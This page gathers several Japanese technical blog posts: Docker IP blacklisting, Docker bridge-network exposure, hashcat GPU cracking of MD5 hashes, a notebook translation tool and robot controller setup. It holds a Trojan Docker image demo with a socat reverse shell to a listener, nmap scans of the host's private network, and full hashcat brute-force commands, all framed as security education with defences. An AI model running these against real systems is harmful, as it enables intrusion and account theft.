インターネット上にサーバを公開すると、ものの数時間で大量の攻撃を受け始めます。 攻撃を受けていることは、サーバのログを見ると確認できます。 例えばsshサーバに大量の認証失敗ログが残っている場合、それはsshにブルートフォース攻撃を受けている証拠です。 長いパスワードや公開鍵認証、脆弱性のないサーバやWebアプリケーションを使っていればこのような攻撃が成功する可能性はきわめて低いのですが、攻撃のログを見るのは全く気持ちの良いものではありません。

そのような攻撃を手軽に防ぐ方法としてIPブラックリストがあります。 FireHOLプロジェクトで提供されている良質なIPブラックリストを簡単に適用できるDocker imageを作成しましたので、今回はそれを紹介します。

使い方

本Docker imageを使うにはまず、Dockerをインストールしてください。

Dockerのインストールができたら、まずはfirehol-update-ipsetsコンテナを起動します。 以下のコマンドを実行するとコンテナイメージのダウンロードと実行、最新のIPブラックリストのダウンロードと定期更新が自動で開始されます。

$ docker volume create firehol-update-upsets
$ docker run --name firehol-update-ipsets -it -d --restart=always --cap-add=NET_ADMIN --net=host -v firehol-update-ipsets:/etc/firehol/ipsets devrt/firehol-update-ipsets

上のコマンドが実行できたら、IPブラックリストを設定し有効化しましょう。ここではfirehol_level2とtor_exitsを設定します。

$ docker exec firehol-update-ipsets enable firehol_level2
$ docker exec firehol-update-ipsets enable tor_exits

firehol_level2は、sshブルートフォース攻撃などインターネット上の攻撃を行ってくるサーバのIPアドレスを様々な情報源から自動収集したIPブラックリストで、現在約42,000個のIPアドレスが登録されています。 IPアドレスの内訳（総数や国別）は以下のURLで閲覧できます。

http://iplists.firehol.org/?ipset=firehol_level2

tor_exitsは、Torの出口サーバのIPアドレス一覧をブラックリスト化したものです。 このブラックリストを適用することでTorネットワークからのアクセスを防ぐことができます。 Torは正義のための匿名化をうたってはいますが、実態は悪用がほとんどなのでアクセスをできなくするのがおすすめです。

http://iplists.firehol.org/?ipset=tor_exits

上記以外にもFireHOLでは様々なIPブラックリストが公開されており、攻撃の状況に合わせて選ぶことができます。

一点、注意点として、FireHOLで提供されているIPブラックリストには、プライベートIPを含むものがあります（例えば、firehol_level1）。 管理用にプライベートIPを設定したサーバに、このブラックリストを適用するとsshを使ったログインなどができなくなってしまうので気を付けてください。 プライベートIPを含むIPブラックリストは以下のURLから確認できます。

http://iplists.firehol.org/?ipset=iblocklist_iana_private

IPブラックリストの適用ができたら、その設定がカーネルに反映されているか、以下のコマンドで確認してみましょう。

$ sudo ipset list -t
$ sudo iptables-save

IPブラックリストはカーネルのipsetの仕組みを使って適用されるので、大量のIPアドレスを含んだブラックリストでも高速にフィルタ処理できます。

しばらくしてからサーバのログを見ると、攻撃のログが目に見えて減っているはずです。 tor_exitsが動作しているかどうかは、Torブラウザを使ってサーバにアクセスしてみることでも確認できます。

一度設定を行うと、以降は最新のIPブラックリストへの更新と適用が自動で行われます。 以下のコマンドで更新のログを確認できます。

$ docker logs firehol-update-ipsets

ここ数年、普及期を迎えているDockerですが、細かく突っ込んでみると危ない部分があったので、知見を共有するとともに対策を紹介します。

セキュリティが緩いDockerブリッジネットワーク

Dockerには複数種の仮想ネットワークを作成する機能があり、「ブリッジネットワーク」はその中でも最もよく使われる仮想ネットワークです。

オプションなしでコンテナを起動すると、コンテナは「bridge(docker0)」というブリッジネットワークに接続され、コンテナ間の通信や外部通信はそこを通して行われます。 また、最新のDockerでサポートされたswarm modeを使う場合、コンテナには「ingress」というコンテナ内で立ち上げたサーバのポートを外部公開するための特殊ネットワークと、「docker_gwbridge」というインターネットアクセスを提供するブリッジネットワークが接続されます。

ブリッジネットワークはホストコンピュータ上ではIP masqueradeを使ったNATにより実現されており、Dockerが各ブリッジネットワークに割り当てているネットワークアドレス（「docker network inspect」コマンドで確認可能）からのルーティングがiptablesのFORWARDルールの形で自動設定されます。 複数のブリッジネットワークを作成することもでき、それらのネットワーク間での通信はできないようにiptablesのルールが生成されるため、セキュリティも容易に確保できます。

ただ非常に大きな注意点として、セキュリティはDockerの「ブリッジネットワーク間」では確保されているのですが、「ブリッジからホスト」は全く確保されていません。 これは以下の実験をすることで確認できます。

まずは以下のようなDockerfileを作成します。alpine linuxのイメージに対してnmapというネットワークスキャンツールをインストールしています。

1
2
3
4
5

FROM alpine:latest

RUN apk add --no-cache nmap

ENTRYPOINT ["nmap"]

以下のコマンドでイメージをビルドします。

$ docker build -t nmap .

nmapをコンテナ内部で起動して、コンテナ内からホストネットワークがどれだけ見えるか調査します。

以下のコマンドを入れると、コンテナ内でのゲートウェイサーバ（＝ホストコンピュータ）のIPアドレスを調査し、そのコンピュータをnmapでポートスキャンします。

$ GWIP=`docker network inspect --format='{{(index .IPAM.Config 0).Gateway}}' bridge`
$ echo $GWIP
$ docker run -it --rm nmap $GWIP

実行してみるとホストコンピュータのポートが丸見えであることが確認できると思います。

以下のコマンドを入れると、ホストネットワークのプライベートIPを調査し、24ビットサブネットであると仮定してnmapでスキャンします。

$ MYIP=`ip route get 8.8.8.8 | awk '{print $NF; exit}'`
$ echo $MYIP
$ docker run -it --rm nmap $MYIP/24

実行すると確認できると思いますが、Dockerのデフォルト設定だとホストコンピュータだけでなく、ホストコンピュータが接続されているプライベートネットワークもコンテナから丸見えです。

利用しているDockerイメージがすべて自作のものであればよいと思いますが、通常はDocker Hubなどからダウンロードしてきたイメージも多く利用すると思います。その場合、以下のような攻撃を受ける危険性があります。

Dockerコンテナを使ったトロイの木馬型攻撃（実験）

トロイの木馬型攻撃は、一見有用な機能を持ったソフトウェア（立派な木馬）をインターネット上に公開しておき、それをインストールする（城内に引っ張り入れる）と意図しない攻撃を受ける（内部から敵の兵士が出てくる）という攻撃手法です。 このような攻撃はDockerコンテナを使うことで容易に実行可能です。

注意 ここから先に書かれた内容はセキュリティの学習を意図しています。許可されていない対象の攻撃には絶対に利用しないでください。

例えば攻撃側は以下のようなスクリプトを用意します。 このスクリプトには、コンテナ内でbashを起動し、socatコマンドによってその出力をサーバに送信する処理が書かれています。 実際の攻撃ではサーバのIPアドレスがグローバルIPになるはずですが、今回の実験では127.0.0.1のIPアドレスを使います。

1
2

#!/bin/sh
socat tcp:127.0.0.1:4545 exec:"bash -i",pty,stderr,setsid,sigint,sane

このようなbash接続のテクニックは「reverse shell」と呼ばれインターネット上で様々なやり方が公開されています （以下の記事でも書かれていますが、脆弱性攻撃をされた後のリモコンに使われるのがこのテクニックなので、似たコードが自分が管理しているサイトに埋め込まれているのを見たら緊急で対処を考えましょう）。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://github.com/cornerpirate/socat-shell

攻撃側は以下のようなDockerfileを使ってイメージをビルドします。

1
2
3
4
5
6
7

FROM alpine:latest

RUN apk add --no-cache socat bash

ADD very-evil-script.sh .

CMD ["sh", "very-evil-script.sh"]

イメージ名はvery-useful-appとでもしておきましょう。

$ docker build -t very-useful-app .

攻撃側は、以下のコマンドでサーバを立ち上げます。

$ socat -,raw,echo=0 tcp-listen:4545

攻撃側はビルドしたイメージをDockerレジストリにプッシュし、被害者が実行するのを待ちます（この部分は実際にはやらないでください）。

被害者側を想定した新しいターミナルを立ち上げ、以下のコマンドを入れてコンテナを起動してみましょう。

$ docker run -it --net=host very-useful-app

サーバ側にbashのプロンプトが出るのが確認できると思います。 今回は攻撃側のサーバが127.0.0.1で立ち上がっているため、コンテナ起動時に「–net=host」オプションを付けましたが、グローバルIPに接続する場合は必要ありません。

コンテナ上ではbashがroot権限で起動しているため、プロンプトを使って任意のコマンドを遠隔実行できます。 nmapをインストールしてネットワークスキャンすれば、ブリッジネットワークを通して、被害者のプライベートネットワークに対して様々な攻撃が可能になってしまいます。 また、困ったことにsocatとbashは非常によく使われるコマンドであるため、イメージファイルをスキャンしても、セキュリティスキャナがこのスクリプトをウィルスの一種として検出することは困難です。

防御方法

上記のような攻撃による被害を軽減するために、ファイアウォール強化スクリプトを作成し公開しました。

https://github.com/devrt/docker-host-network-firewall

使い方ですが、まずは、デフォルト状態のiptablesをチェックします。

$ sudo iptables-save

nmapスキャンにより、現状のリスクを一覧します。

$ git clone https://github.com/devrt/docker-host-network-firewall.git
$ cd docker-host-network-firewall
$ ./test.sh

以下のコマンドを入力しファイアウォールを強化します。

以下のコマンドは、「–cap-add=NET_ADMIN」オプションがついていますし、コンテナ内からdocker.sockにアクセス可能になっていますので、一般的には危ないコマンドです。 githubレポジトリの中を見てリスクがないことを理解したうえで実行してください。

$ docker run -ti --rm --cap-add=NET_ADMIN --net=host -v /var/run/docker.sock:/var/run/docker.sock devrt/host-network-firewall

ファイアウォール強化後のiptablesをチェックします。

$ sudo iptables-save

nmapスキャンを再度実行し、リスクが消えていることを確認してください。

$ ./test.sh

ファイアウォールの効果が確認出来たら、以下のコマンドを実行し、PCの再起動後も常にファイアウォールが適用されるようにしておきましょう。

$ docker run --name host-network-firewall -d --restart=always --cap-add=NET_ADMIN --net=host -v /var/run/docker.sock:/var/run/docker.sock devrt/host-network-firewall

注

上記の対策で、ブリッジネットワークを経由してホストコンピュータが接続されたプライベートネットワークを攻撃されるのを防ぐことができるようになりました。 ただし、同じブリッジネットワークに接続されたコンテナ同士はスキャンされ攻撃されるリスクがまだ残っていますので、その点は注意してください。

よりセキュリティを強化することを考えると、コンテナからのインターネットアクセスをすべてできなくしてしまう（reverse shellがサーバに接続できなくしてしまう）という追加の対策も考えられます。

去年「暗号化されたパスワードを含むアカウント情報が漏洩した」というニュースを多く聞きました。 このニュースを聞いてどう思うでしょうか？

「漏洩したからといって、暗号化されているのだからまだ安全なはずだ」と考えるのは危険です。 この記事ではGPUを使ったブルートフォース攻撃で、いとも簡単に暗号化されたパスワード（＝パスワードハッシュ）を解読できることをデモを通して示します。

セキュリティの基本的な仕組みと問題、守り方を復習して新年の業務に備えましょう。

パスワードとハッシュ関数

パスワードの仕組みを学ぶと必ず出てくるキーワードが「ハッシュ関数」です。 ハッシュ関数は「出力から入力を推定することができない」という特徴を持った関数です。 数学的に言うと「逆関数を計算することができない」のがハッシュ関数なのですが、できなくするためにどんな天才数学者をもってしても解けないようなとても意地が悪い複雑な形をした式になっています。

パスワードはハッシュ関数で計算した「ハッシュ値」としてコンピュータ上に保存されています。 通常コンピュータ上にはハッシュ値だけしか保存されていません。 ユーザが入力するのはパスワードですが、以下のようにしてハッシュ値に変換して比較します。

ハッシュ関数は入力値が違えばハッシュ値も違うように注意深く設計されているため、「ハッシュ値が一致する＝パスワードが一致する」と考えることができます。 （ハッシュ関数を注意深く設計していても、異なる入力に対して同じハッシュ値を出力してしまうケースもあります。 そのようなケースを「ハッシュ値の衝突」と呼び、衝突が起こる頻度はハッシュ関数の性能を測る一つの尺度になります。 MD5というハッシュ関数はすでにそのような衝突をするケースが発見されています。SHA-1はまだそのような衝突が発見されていない、より強いハッシュ関数です。）

コンピュータ上に保存されたハッシュ値から元のパスワードを推定することはできません。 ハッシュ値の形でパスワードを保存しておくことで万一ハッシュ値が漏洩した場合でも、ある程度のセキュリティを確保することができます。 これがコンピュータセキュリティの基本であり「パスワードの暗号化」の正体です。

UNIX系のシステムの場合、管理者しか見ることができない「/etc/shadow」ファイルの中に各ユーザのパスワードハッシュが保存されています。 Windowsの場合は、管理者でも見ることができない特殊なレジストリ値（SAM領域）としてパスワードハッシュが保存されています。 ユーザ認証を行うWebアプリケーションやActive Directoryの場合は、データベースに各ユーザのパスワードハッシュが保存されます。 攻撃者はシステムへの侵入やSQLインジェクション攻撃、認証プロトコルのパケットキャプチャなどによってこれらのハッシュ値を盗もうとします。

ブルートフォース攻撃によるパスワードの解読

新しいハッシュ関数が考案されると、衝突可能性が検査されると同時に、本当に出力から入力を推定することができないかどうか多方面からの検討が行われます。

逆関数が計算できないにしろ、もしかしたらハッシュ値から入力を推定する部分的な手掛かりがあるかもしれません。 そのような甘い部分がないかどうかを検証するために、セキュリティの専門家達は考案されたハッシュ関数を徹底的に攻撃します。 現行利用されているハッシュ関数はそのような攻撃に耐えたものであるため（今後、新たな攻撃手法が発明されない限りは）安全に利用することができると考えられています。

ただ、逆の推定ができないハッシュ値ですがそこからパスワードを解読する方法もあります。 それがこれから紹介する「ブルートフォース（brute force）攻撃」です。

bruteは「野蛮」という意味です。 ブルートフォース攻撃は直訳すると「野蛮な力（チカラワザ）」を使った攻撃なのですが、具体的には以下のようにしてパスワードを解読しようとします。

ハッシュ関数は逆の推定ができませんが、順方向の計算はできます。 ありとあらゆる文字列のパターンに対して順方向の計算を行いハッシュ値との比較を行うことで、いつか一致する文字列が見つかるだろう、というまさにチカラワザを使うわけです。

hashcatによるパスワード解読のデモ

原理的には確かにパスワード解読ができるブルートフォース攻撃ですが、特にパスワードが長い場合には天文学的な計算量が必要になり、実用的ではないと考えられていました。 しかし、近年だいぶ事情が変わりつつあります。

近年注目されているコンピュータ技術にGPUがあります。 GPUは元は3次元グラフィックを扱うための専用プロセッサだったのですが、計算を並列化して大量に処理できることから、人工知能分野で利用され様々な成果をあげています。 この特徴はパスワード解読でも非常に強力な武器になります。

これから紹介する「hashcat」はGPUを使ったブルートフォース攻撃を行うためのソフトウェアです。

hashcatを利用するにはOpenCLライブラリが必要です。 UbuntuとNvidia GPUの組み合わせを使っている場合、以下のコマンドを入力すると最新のOpenCLをインストールできます。

$ sudo add-apt-repository ppa:graphics-drivers/ppa
$ sudo apt-get update
$ sudo apt-get install nvidia-375 nvidia-opencl-dev

次にhashcatをダウンロードしてコンパイルします。

$ git clone https://github.com/hashcat/hashcat.git
$ cd hashcat/
$ make

無事にコンパイルができてOpenCLが認識されると、以下のコマンドに対して以下のように出力されるはずです。

$ ./hashcat -I
hashcat (v3.20-88-gd36cc4c) starting...

OpenCL Info:

Platform ID #1
  Vendor  : NVIDIA Corporation
  Name    : NVIDIA CUDA
  Version : OpenCL 1.2 CUDA 8.0.0

  Device ID #1
    Type           : GPU
    Vendor ID      : 32
    Vendor         : NVIDIA Corporation
    Name           : GeForce GTX 750 Ti
    Version        : OpenCL 1.2 CUDA
    Processor(s)   : 5
    Clock          : 1084
    Memory         : 499/1998 MB allocatable
    OpenCL Version : OpenCL C 1.2 
    Driver Version : 375.26

今回使うのはNvidia GTX 750Tiという、今では1万円程度で買える非常に安価なGPUです。

動作が確認できたら、どの程度の性能が出るかベンチマークを走らせてみます。

$ sudo ./hashcat -b                                                                                                                               
hashcat (v3.20-88-gd36cc4c) starting in benchmark mode...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 750 Ti, 499/1998 MB allocatable, 5MCU

Hashtype: MD4

Speed.Dev.#1.....:  6968.2 MH/s (48.10ms)

Hashtype: MD5

Speed.Dev.#1.....:  3782.7 MH/s (88.68ms)

Hashtype: Half MD5

Speed.Dev.#1.....:  2337.8 MH/s (71.73ms)

Hashtype: SHA1

Speed.Dev.#1.....:  1287.2 MH/s (65.14ms)

Hashtype: SHA256

Speed.Dev.#1.....:   457.3 MH/s (91.33ms)

（省略）

単位が「MH/s」になっていますが、これは「Mega Hash per second」の意味で、例えばMD5ハッシュの場合、このGPUは毎秒3,782,700,000回のハッシュ計算ができるということです。 この数が大きければ大きいほど秒間にできるブルートフォース攻撃の試行回数を増やせるため、より高速にパスワードが解読できることになります。

毎秒3,782,700,000回もハッシュ計算ができると、案外、簡単にパスワードが解読できてしまいます。試しにパスワードを解読してみましょう。

以下のようにして、ある文字列からMD5ハッシュを計算します。

$ echo -n "hoge" | md5sum
ea703e7aa1efda0064eaa507d9e8ab7e  -

「ea703e7aa1efda0064eaa507d9e8ab7e」の部分がハッシュ値です。

hashcatを使ってブルートフォース攻撃によりハッシュ値を解読するために以下のコマンドを入力します。

• 「-m 0」はMD5ハッシュを使うオプションです（hashcatはMD5以外にも様々なハッシュ関数に対応しています）
• 「-a 3」はブルートフォース攻撃を行うためのオプションです（この記事では触れませんが辞書攻撃も可能です）
• 試行する文字列は長さ1から一つずつ伸ばしていきます（「–increment –increment-min=1」オプション）
• 文字種は小文字英字、大文字英字、数字の組み合わせで最大8文字まで伸ばします（「-1 ?l?u?d ?1?1?1?1?1?1?1?1」オプション）

$ ./hashcat -m 0 -a 3 --increment --increment-min=1 ea703e7aa1efda0064eaa507d9e8ab7e -1 ?l?u?d ?1?1?1?1?1?1?1?1
hashcat (v3.20-88-gd36cc4c) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 750 Ti, 499/1998 MB allocatable, 5MCU

（中略）

ea703e7aa1efda0064eaa507d9e8ab7e:hoge                     

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: ea703e7aa1efda0064eaa507d9e8ab7e
Time.Started.....: Mon Jan  2 15:31:58 2017 (0 secs)
Time.Estimated...: Mon Jan  2 15:31:58 2017 (0 secs)
Input.Mask.......: ?1?1?1?1 [4]
Input.Charset....: -1 ?l?u?d, -2 Undefined, -3 Undefined, -4 Undefined 
Input.Queue......: 4/8 (50.00%)
Speed.Dev.#1.....: 43831.8 kH/s (2.07ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 7388168/14776336 (50.00%)
Rejected.........: 0/7388168 (0.00%)
Restore.Point....: 0/238328 (0.00%)
Candidates.#1....: sari -> oXvZ
HWMon.Dev.#1.....: Temp: 45c Fan: 41% Util: 71% Core:1163Mhz Mem:2700Mhz Lanes:16

Started: Mon Jan  2 15:31:56 2017
Stopped: Mon Jan  2 15:31:58 2017

「Started」「Stopped」の時刻からわかるように、2秒で元の文字列「hoge」が解読できてしまいました。

「hoge」はさすがに簡単過ぎだろうということで、今度は複数の文字種が混じった標準的な長さ（8文字）のパスワードで試してみます。

$ echo -n "31EhJTkV" | md5sum
0de24d0f652a4818f5ca124fa00a0d37  -

解読してみましょう。

$ ./hashcat -m 0 -a 3 --increment --increment-min=1 0de24d0f652a4818f5ca124fa00a0d37 -1 ?l?u?d ?1?1?1?1?1?1?1?1
hashcat (v3.20-88-gd36cc4c) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 750 Ti, 499/1998 MB allocatable, 5MCU

（中略）

0de24d0f652a4818f5ca124fa00a0d37:31EhJTkV                 

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 0de24d0f652a4818f5ca124fa00a0d37
Time.Started.....: Mon Jan  2 15:52:21 2017 (16 hours, 11 mins)
Time.Estimated...: Tue Jan  3 08:03:23 2017 (0 secs)
Input.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Input.Charset....: -1 ?l?u?d, -2 Undefined, -3 Undefined, -4 Undefined 
Input.Queue......: 8/8 (100.00%)
Speed.Dev.#1.....:  3625.6 MH/s (11.15ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 210995172147200/218340105584896 (96.64%)
Rejected.........: 0/210995172147200 (0.00%)
Restore.Point....: 885145600/916132832 (96.62%)
Candidates.#1....: saZJlXnZ -> flFouHfQ
HWMon.Dev.#1.....: Temp: 80c Fan: 54% Util: 97% Core:1163Mhz Mem:2700Mhz Lanes:16

Started: Mon Jan  2 15:35:49 2017
Stopped: Tue Jan  3 08:03:24 2017

と、16時間30分ほどの時間がかかりましたが無事に元の文字列「31EhJTkV」が解読できました。

8文字パスワードの解読に16時間30分、という結果を長いと考えるか短いと考えるかですが、長そうに見えて実は一日以下しかかかっていません。 また、今回使ったのは1万円程度で買える非常に安価なGPUである、ということもあわせて考えてみてください（攻撃側が使うGPUの性能については次で紹介します）。

暗号化されたパスワードを含むアカウント情報が漏洩したらどうすればよいか？

デモからわかったように「暗号化されたパスワードを含むアカウント情報が漏洩した」ら、例え複雑なパスワードを設定していたとしても「まもなくパスワードは解読される」と考えるべきです。

元のパスワードが解読されるのは時間の問題で、その時間はあまりかからなくなっています。

今回は安価なGPUを1個だけ搭載したコンピュータを使いましたが、GPUの性能は日進月歩で上がっており、またコンピュータに複数搭載することもできます。 Google画像検索で「gpu bruteforce」で検索すると、GPUブルートフォースを行うために8つのスロットすべてにGPUを搭載したコンピュータの写真が大量に出てきます。

https://www.google.co.jp/search?q=gpu+bruteforce&tbm=isch

以下のURLにNvidia GTX 1080を8枚搭載したコンピュータのベンチマークが公開されています。

https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40

MD5ハッシュの項目を比較すると、

Hashtype: MD5

Speed.Dev.#1.: 24943.1 MH/s (97.53ms)
Speed.Dev.#2.: 24788.6 MH/s (96.69ms)
Speed.Dev.#3.: 25022.2 MH/s (97.76ms)
Speed.Dev.#4.: 25106.6 MH/s (97.42ms)
Speed.Dev.#5.: 25114.1 MH/s (97.42ms)
Speed.Dev.#6.: 24924.1 MH/s (97.30ms)
Speed.Dev.#7.: 25197.9 MH/s (97.30ms)
Speed.Dev.#8.: 25246.4 MH/s (97.00ms)
Speed.Dev.#*.:   200.3 GH/s

GPU 8個の合計で「200.3 GH/s」という結果が出ており、今回デモで使ったコンピュータの約50倍の性能です。 ブルートフォース攻撃にかかる時間は単位時間にできる試行回数に比例しますから、今回の8文字パスワードの場合は約20分で解けることになります。

攻撃側はこのような強力な計算機を24時間体制で、場合によっては複数台稼働させて元のパスワードを解読しようとします。 また今回は一つのハッシュだけを解読しましたが、実際は漏洩した大量のハッシュを一度に解析できるのですから、ハッシュはそれこそ面白いように次々と解けていくはずです。

では、暗号化されたパスワードを含むアカウント情報が漏洩したらどうすればよいのでしょうか？ 以下の各対応が有効です。

パスワードをすぐに変更しよう

アカウント情報漏洩のニュースを聞いたらパスワードをすぐに変更しましょう。 解読される前にパスワードを変えてしまえば被害を受けることはありません。

ただし、アカウント情報漏洩の発見自体が遅れたケース（近年このケースが増えています）ではこの対応をしてもアカウントはハッキングされてしまいます。 後述する「多要素（2要素）認証」の方が有効な対策です。

パスワードの使いまわしはやめよう

攻撃者はパスワードが解読できると、そのパスワードを使って漏出元のサイトだけでなく他のサイトへのログインも試行します。 なぜなら、多くのユーザが複数のサイトで同じパスワードを使いまわしていることを知っているからです。

パスワードは各サイトで別のものを設定しましょう。

複数のパスワードを覚えるのが難しい場合はlastpassなどのパスワードマネージャを使いましょう。 パスワードマネージャを使うことにはセキュリティ上のリスクもありますが、覚えられなくて同じパスワードを設定するよりも大分マシです。 覚えられるパスワードの長さは8文字あたりからつらくなってくると思いますが、パスワードマネージャを使えばそれよりも長いパスワードを設定して、漏洩が起こった際の解読までの時間稼ぎをすることもできます。

多要素（2要素）認証を有効化しよう

「多要素（2要素）認証」はパスワード認証を行ったあとにSMSや専用アプリでワンタイムパスワードを発行し、通常のパスワードに加えてそのパスワードを入力しないとログインできなくする認証方式です。 複数の要素（パスワードに加えてSMSなど）を使うことから多要素認証と呼ばれています。

GPUブルートフォースの登場でパスワードの信頼性が崩壊しかけている昨今ですが、多要素認証に対する強力な攻撃手法はまだ見つかっていないことからセキュリティを高く確保することができます。

各サービスに対する多要素認証の設定方法は以下の各URLを参照してください。

Google Accountの多要素認証の設定方法 https://www.google.com/landing/2step/

Facebookの多要素認証の設定方法（英語） https://www.facebook.com/notes/facebook-engineering/introducing-login-approvals/10150172618258920/

Dropboxの多要素認証の設定方法 https://www.dropbox.com/ja/help/363

Evernoteの多要素認証の設定方法 https://evernote.com/intl/jp/contact/support/info/2fa/

マイクロソフトアカウント（Onedrive）の多要素認証の設定方法 https://support.microsoft.com/ja-jp/help/12408/microsoft-account-about-two-step-verification

最近ニュースになったアカウント情報漏洩

過去の大規模なアカウント漏洩事件を受けて多くの組織はパスワードの保存にbcrypt暗号を使うようになっています。 bcryptはハッシュ関数というよりは暗号化アルゴリズムの軽量版というべきもので、MD5などのハッシュ関数に比べて計算（解読）に多くの時間がかかる、という特徴があります。 また、処理が複雑なのでGPUがうまく使えずCPUで処理せざるを得ないため、単体のコンピュータでの計算の並列性は低くなります。

ただし、攻撃側はクラスタマシンを使ってCPUを並列化して解読しようとしますので、時間稼ぎにはなるものの解かれなくなるわけではない、という点に注意しましょう。

yahoo.comのアカウント情報漏洩（5億件, bcrypt暗号） http://www.businesswire.com/news/home/20160922006198/en/

dropboxのアカウント情報漏洩（6800万件, saltつきbcrypt暗号） http://www.itmedia.co.jp/enterprise/articles/1609/01/news073.html

ebayのアカウント情報漏洩（1.6億件, saltつきハッシュ） http://info.rippleshot.com/blog/ebay

adobeのアカウント情報漏洩（3800万件, ハッシュ方式未公開、パスワードヒントを含む） https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/

このツールを使うことで以下のようなコンテンツが

http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-ja.ipynb

このように翻訳できます。

http://devrt.tk/note/github/devrt/inverse-kinematics-primer/blob/master/notebooks/inverse-kinematics-primer-en.ipynb

上記は日本語から英語の例ですが、任意の言語間で翻訳ができます。

nbtranslate

jupyter(ipython) notebookのコンテンツをgettext翻訳するツール。

インストール

$ git clone https://github.com/devrt/nbtranslate.git
$ cd nbtranslate
$ sudo pip install -r requirements.txt
$ sudo ./setup.py install

または

$ pip install git+https://github.com/devrt/nbtranslate.git

使い方

翻訳したいテキストをpot形式で抽出する。

$ nbtranslate --pot en.pot notebook_en.ipynb

en.potをお好きなgetext翻訳ツールを使って翻訳してください (私のおすすめはpoeditまたはgoogle translator toolkitです).

翻訳した結果をentoja.poにセーブした後、以下のコマンドで翻訳済みコンテンツを生成します:

$ nbtranslate --po entoja.po notebook_en.ipynb > notebook_ja.ipynb

ライセンス

New-BSD

by Yosuke Matsusaka, MID Academic Promotions Inc.

利用したロボットはCreative Commonsライセンスで公開されているJAXONを改変（派生）させたMIDJAXONというロボットで上半身はヒューマノイド型、下半身はクローラー型の形をしています。

成績はというと、全チーム中最高得点をとり総合優勝、更にチャレンジタスクへのチャレンジが認められJVRC賞も同時受賞、ということで最高の結果を残すことができました。

以下のサイトで競技終了後の技術交流会の様子を見ることができます。

http://www.ustream.tv/recorded/75191534

技術交流会でも言っているのですが、結果から見ると1位下半身クローラー型、2位クローラー型、3位ヒューマノイド型、でクローラー型が有利かと思われがちなのですが、公式の順位からは実はAIST-NEDO、NEDO-JSK、NEDO-HydraのDRC参加組が外されており、DRC参加組も含めた「裏順位」は、1位下半身クローラー型(MID)、2位ヒューマノイド型(AIST-NEDO)、3位ヒューマノイド型（NEDO-JSK）と初日に僅差でAIST-NEDOに勝っていたMIDがヒューマノイド勢の猛追を逃げ切ったという形になっており、まったくもってクローラー型が有利というわけではありません。制御しきることができればヒューマノイド型の勝ち、そこからクローラー型の安定性を活かした操縦で逃げ切った、というのが本当のところですので、今後のロボット設計の参考にしていただければと思います。

ともあれ、大会出場前に大会で使ったソースコードの公開を約束していたので、以下に公開します。

MIDJAXONのシミュレーションモデルはNEDO-JSKがJAXONを公開してくれているgithubレポジトリのフォークとして登録してあります。Creative CommonsライセンスのJAXONを派生させましたのでライセンスはやはりCreative Commonsです。

https://github.com/devrt/rtmros_choreonoid

MIDJAXONの制御プログラムは以下のレポジトリに登録しました。

https://github.com/devrt/midjaxon-controller

ソースコードの使い方ですが、まず、RTMでヒューマノイドの制御をしようとするとomniORBの通信を大量に使うので以下のコマンドを入力して通信の制約をゆるめます（各ターミナルで入力するのは面倒なので.bashrcなどに書いておくと良いです）。

$ export ORBgiopMaxMsgSize=2097152000

次にChoreonoid, OpenRTM-aist, hrpsys-baseなどRTMのパッケージをインストールします。

$ sudo add-apt-repository ppa:hrg/daily
$ sudo apt-get update
$ sudo apt-get install choreonoid choreonoid-jvrc-plugin openrtm-aist-dev openrtm-aist-python hrpsys-base openhrp

MIDJAXONでは操作インターフェースにROSのrvizを使っているのでROSもインストールします。

$ sudo sh -c 'echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list'
$ sudo apt-key adv --keyserver hkp://pool.sks-keyservers.net --recv-key 0xB01FA116
$ sudo apt-get update
$ sudo apt-get install ros-indigo-desktop ros-indigo-rviz ros-indigo-rtmros-common ros-indigo-zbar-ros

rtmros-commonは東大JSKで開発されているRTMのデータ型をROSに変換するブリッジパッケージです。zbar-rosはJVRCで課題となるマーカの認識をしてくれるパッケージです。

更に以下のパッケージもインストールします。

$ sudo apt-get install python-wstool python-catkin-tools

wstoolとcatkinはgithubで公開された最新のROSパッケージを利用するためのユーティリティコマンドです。

パッケージのインストールが終わったらcatkin用のワークスペースを作成します。

$ source /opt/ros/indigo/setup.bash
$ mkdir -p catkin_ws/src
$ cd catkin_ws/src
$ wstool init
$ source ~/catkin_ws/devel/setup.bash

作成したワークスペースに各最新catkinパッケージをチェックアウトします。

$ cd catkin_ws/src
$ wstool set rtmros_common https://github.com/start-jsk/rtmros_common.git --git
$ wstool set rtmros_tutorials https://github.com/start-jsk/rtmros_tutorials.git --git 
$ wstool set rtmros_choreonoid https://github.com/devrt/rtmros_choreonoid.git --git
$ wstool update

最後のrtmros_choreonoidだけ、start-jskではなくdevrtのものを使うことに注意してください。

catkinコマンドを使って最新のrtmrosブリッジをビルドします。

$ cd catkin_ws
$ catkin build hrpsys_ros_bridge

rvizを使うにはVRMLフォーマットで書かれたロボットモデルをROSのURDF形式に変換する必要があります。そのために、まずはモデル変換ツール「simtrans」をインストールします。

$ sudo apt-get install meshlab imagemagick
$ git clone https://github.com/fkanehiro/simtrans.git
$ cd simtrans
$ sudo pip install -r requirements.txt
$ suto python setup.py install

次にsimtransを使ってモデルを変換します。

$ roscd hrpsys_ros_bridge_jvrc/models
$ ./convert-midjaxon.sh

ROSの世界のセットアップ作業は以上ですので次にRTMで書かれた制御部分をセットアップします。

まずは、制御部分をチェックアウトします。

$ git clone https://github.com/devrt/midjaxon-controller.git

次に制御部分をコンパイルします。

$ cd midjaxon-controller
$ make

makeした結果、PDcontroller.soとMidJaxonController.soの2つのファイルができていることを確認してください。

